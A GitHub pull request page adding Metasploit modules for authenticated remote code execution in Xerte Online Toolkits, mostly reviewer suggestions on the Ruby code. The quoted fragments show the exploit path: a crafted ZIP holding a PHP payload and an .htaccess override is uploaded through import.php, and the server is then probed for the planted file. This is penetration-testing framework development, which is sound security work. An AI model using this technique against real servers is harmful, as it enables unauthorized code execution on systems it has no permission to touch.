Skip to content

Conversation

@haicenhacks
Copy link

This PR adds three modules I developed to exploit the Xerte Online Toolkits 3.14.0 and <= 3.13.7.

Verification

  • Start msfconsole
  • use exploit/multi/http/xerte_authenticated_rce_uploadImage
  • Set the RHOST and URL path
  • run

@github-actions
Copy link

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

Copy link
Contributor

@msutovsky-r7 msutovsky-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would you mind to provide instructions how to setup the target?

'uri' => normalize_uri(target_uri.path+"/version.txt"),
})

if res && res.code.to_i == 200
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
if res && res.code.to_i == 200
if res&.code == 200

print_status("Performing version check - this may not be reliable")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path+"/version.txt"),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
'uri' => normalize_uri(target_uri.path+"/version.txt"),
'uri' => normalize_uri(target_uri.path,"version.txt"),

})

if res && res.code.to_i == 200
if res.body.split(' ').length() == 0
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Better approach is to extract version using regex and then use Rex::Version - this will allow you to extract version and compare it with other version more efficiently and with less code.

Comment on lines +92 to +97
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
return Exploit::CheckCode::Safe
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We usually leave message along with CheckCode, which provides clearer information why specific CheckCode has been returned.

vprint_line("Checking template ID #{a}")
res = send_request_cgi({ # this causes the template to become locked
'method' => 'GET',
'uri' => normalize_uri(target_uri.path+"/edithtml.php?template_id=#{a}"),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
'uri' => normalize_uri(target_uri.path+"/edithtml.php?template_id=#{a}"),
'uri' => normalize_uri(target_uri.path,"edithtml.php"),
'vars_get' => { 'template_id' => a},

for a in 1..100 do
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path+"/USER-FILES/#{a}--Nottingham/media/#{php_filename}.txt"),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
'uri' => normalize_uri(target_uri.path+"/USER-FILES/#{a}--Nottingham/media/#{php_filename}.txt"),
'uri' => normalize_uri(target_uri.path, 'USER-FILES', "#{a}--Nottingham", 'media', "#{php_filename}.txt"),

Comment on lines +109 to +128
zip.add_file("media/#{php_filename}", payload.encoded)
zip.add_file("media/#{php_filename}.txt", "THIS_IS_IT")
zip.add_file("media/.htaccess", htaccess_payload)
zip.add_file("data.xml", %q{
<learningObject targetFolder="site" language="" name="Project Title" theme="default">
<page linkID="PG1360232941652" name="Page Title" subtitle="Enter Page Subtitle">
<section linkID="PG1360232936371" name="This is section One"/>
</page>
</learningObject>
})
zip.add_file("mal-theme.info", %q{
name: mal-theme
display name: Flat: Black & Green
description: A Black and Green theme similar to the Apereo website colours e.g. Aztec header and footer, off white background, grey and green accents.
enabled: yes
preview: apereo.jpg
})
zip.add_file("template.xml", %q{
<learningObject editorVersion="3" targetFolder="Nottingham" name="Enter Project Title" language="" navigation="Linear" textSize="12" theme="xot1" themeIcons="false" displayMode="fill window" responsive="true" />
})
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can we randomize some of these values?

<learningObject editorVersion="3" targetFolder="Nottingham" name="Enter Project Title" language="" navigation="Linear" textSize="12" theme="xot1" themeIcons="false" displayMode="fill window" responsive="true" />
})

zip.save_to("debug.zip")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can filename be randomized?


send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path+"/website_code/php/import/import.php"),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
'uri' => normalize_uri(target_uri.path+"/website_code/php/import/import.php"),
'uri' => normalize_uri(target_uri.path, 'website_code', 'php','import', 'import.php'),

Comment on lines +151 to +164
def php_filename
@php_filename ||= Rex::Text.rand_text_alpha(8) + '.php'

end
def htaccess_payload
@htaccess_payload = %q{
<IfModule mod_rewrite.c>
RewriteEngine Off
</IfModule>
}
end
def zip_filename
@zip_filename ||= Rex::Text.rand_text_alpha(8) + 'mal-template.zip'
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This can be inlined

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants